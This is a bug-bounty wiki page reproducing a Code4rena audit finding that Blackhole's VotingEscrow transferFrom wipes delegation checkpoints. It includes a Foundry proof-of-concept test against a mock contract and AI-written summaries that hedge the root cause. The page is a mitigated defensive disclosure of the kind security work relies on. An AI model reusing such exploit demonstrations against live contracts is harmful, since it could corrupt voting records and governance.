Skip to content
Business logic Audit finding Intermediate

Checkpoints are incorrectly cleared during transferFrom

The transferFrom function in VotingEscrow calls moveTokenDelegates, which incorrectly clears all checkpoints for the source representative because the token owner is already set to zero. An attacker could transfer a token to wipe delegation history, breaking voting logic and other functions that rely on checkpoints.

rashmor Follow

Originally disclosed on Code4rena

Submitted by rashmor

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/libraries/VotingDelegationLib.sol#L46-L110

Finding description and impact

In the VotingEscrow contract, the transferFrom function delegates to _transferFrom, which in turn calls moveTokenDelegates from VotingDelegationLib. This function is responsible for updating historical checkpoints that track which token IDs were delegated to which addresses.

During this process, a flaw occurs in the cleanup logic for the source representative (srcRep). Specifically, when _isCheckpointInNewBlock == false, the function attempts to mutate the existing checkpoint array (srcRepNew) in-place by removing any token ID that no longer belongs to srcRep:

if (ownerOfFn(tId) != srcRep) {
    srcRepNew[i] = srcRepNew[length - 1];
    srcRepNew.pop();
    length--;
} else {
    i++;
}

The problem arises because, by the time moveTokenDelegates is called, the transferFrom flow has already invoked _removeTokenFrom(), which sets the owner of the token being transferred to address(0). As a result, ownerOfFn(tId) will return 0x0 for the token being transferred.

This means the above condition (ownerOfFn(tId) != srcRep) will always be true for the token that was just transferred out, causing it to be removed from srcRepNew. But due to the in-place mutation without incrementing i, the same index is checked again after every pop, potentially skipping or corrupting the loop’s behavior basically clearing all checkpoints. This breaks the whole logic of checkpoints and other functions, depending on it.

Recommended mitigation steps

This is not the only vulnerability in this function, it may be appropriate to rewrite the whole logic.

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Black} from "../src/Black.sol";
import {VotingEscrow} from "../src/VotingEscrow.sol";
import {BlackGovernor} from "../src/BlackGovernor.sol";
import {IBlackHoleVotes} from "../src/interfaces/IBlackHoleVotes.sol";
import {MinterUpgradeable} from "../src/MinterUpgradeable.sol";
import {GaugeManager} from "../src/GaugeManager.sol";
import {VotingDelegationLib} from "../src/libraries/VotingDelegationLib.sol";

contract MockContractDelegates {
    VotingDelegationLib.Data cpData;
    address public fromOwner;
    address public toOwner;
    address public fromDelegate;
    address public toDelegate;

    mapping(uint256 => address) public idToOwner;

    constructor(address _fromOwner, address _toOwner, address _fromDelegate, address _toDelegate) {
        fromOwner = _fromOwner;
        toOwner = _toOwner;
        fromDelegate = _fromDelegate;
        toDelegate = _toDelegate;
    }

    function useMoveTokenDeledates(uint256 tokenId) public {
        idToOwner[tokenId] = address(0);
        VotingDelegationLib.moveTokenDelegates(cpData, fromOwner, toOwner, tokenId, ownerOf);
    }

    function ownerOf(uint256 tokenId) public view returns (address) {
        return idToOwner[tokenId];
    }

    function modifyData(
        address addr,
        uint32 num,
        VotingDelegationLib.Checkpoint memory checkpoint,
        uint32 numCheckpoints
    ) public {
        cpData.checkpoints[addr][num] = checkpoint;
        cpData.numCheckpoints[addr] = numCheckpoints;
    }

    function showData(address addr, uint32 num) public view returns (VotingDelegationLib.Checkpoint memory) {
        return cpData.checkpoints[addr][num];
    }

    function showNumberOfCheckPoints(address addr) public view returns (uint32) {
        return cpData.numCheckpoints[addr];
    }
}

contract MyTest3 is Test {
    MockContractDelegates public contractDelegates;

    address public owner = makeAddr("owner");
    address public alice = makeAddr("alice");
    address public aliceDelegate = makeAddr("aliceDelegate");
    address public bob = makeAddr("bob");
    address public bobDelegate = makeAddr("bobDelegate");

    function setUp() public {
        vm.warp(block.timestamp + 1000);
        vm.startPrank(owner);
        contractDelegates = new MockContractDelegates(alice, bob, aliceDelegate, bobDelegate);
        uint256[] memory tokenIds = new uint256[](3);
        tokenIds[0] = 1;
        tokenIds[1] = 2;
        tokenIds[2] = 3;
        VotingDelegationLib.Checkpoint memory checkpoint =
            VotingDelegationLib.Checkpoint({timestamp: block.timestamp, tokenIds: tokenIds});
        contractDelegates.modifyData(alice, 0, checkpoint, 1);
        vm.stopPrank();
    }

    function test__someTest3() public {
        vm.warp(block.timestamp + 100);
        vm.startPrank(alice);
        contractDelegates.useMoveTokenDeledates(1);
        vm.stopPrank();
        vm.warp(block.timestamp + 100);
        vm.startPrank(alice);
        contractDelegates.useMoveTokenDeledates(2);
        vm.stopPrank();

console.log("ALICEs tokens:");
        logCheckpointTokenIds(contractDelegates.showData(alice, 1));
        logCheckpointTokenIds(contractDelegates.showData(alice, 2));

console.log("BOBs tokens:");

        logCheckpointTokenIds(contractDelegates.showData(bob, 1));

        // alice was supposed to have token 3 left in checkpoint, but she does not

//   ALICEs tokens:

        //   BOBs tokens:
        //   Token ID 1
        //   Token ID 2
    }

    function logCheckpointTokenIds(VotingDelegationLib.Checkpoint memory cp) internal view {
        uint256 len = cp.tokenIds.length;
        for (uint256 i = 0; i < len; i++) {
            console.log("Token ID", cp.tokenIds[i]);
        }
    }
}

Blackhole mitigated

Status: Mitigation confirmed. Full details in reports from lonelybones, rayss and maxvzuvex.


The original report as published on Code4rena, by rashmor. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the in-place array mutation loop does not increment the index after removing an element, causing it to skip entries and clear all checkpoints.

What the attacker needed

A token to transfer; the token must be delegated

The fix

The mitigation was confirmed, but the report recommends rewriting the whole logic of the function.

How it was found

  1. Set up a mock contract with a checkpoint containing token IDs 1, 2, and 3 for Alice.
  2. Call useMoveTokenDeledates(1) to transfer token 1 from Alice to Bob.
  3. Call useMoveTokenDeledates(2) to transfer token 2 from Alice to Bob.
  4. Observe that Alice's checkpoints are empty and Bob's checkpoints contain tokens 1 and 2, but token 3 is missing from Alice.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you transfer a token, the contract updates a list of who owns which token. A bug in that update causes the list to be emptied completely, so the system forgets who was delegated votes. This could let someone erase voting power by simply transferring a token.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More from Blackhole

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.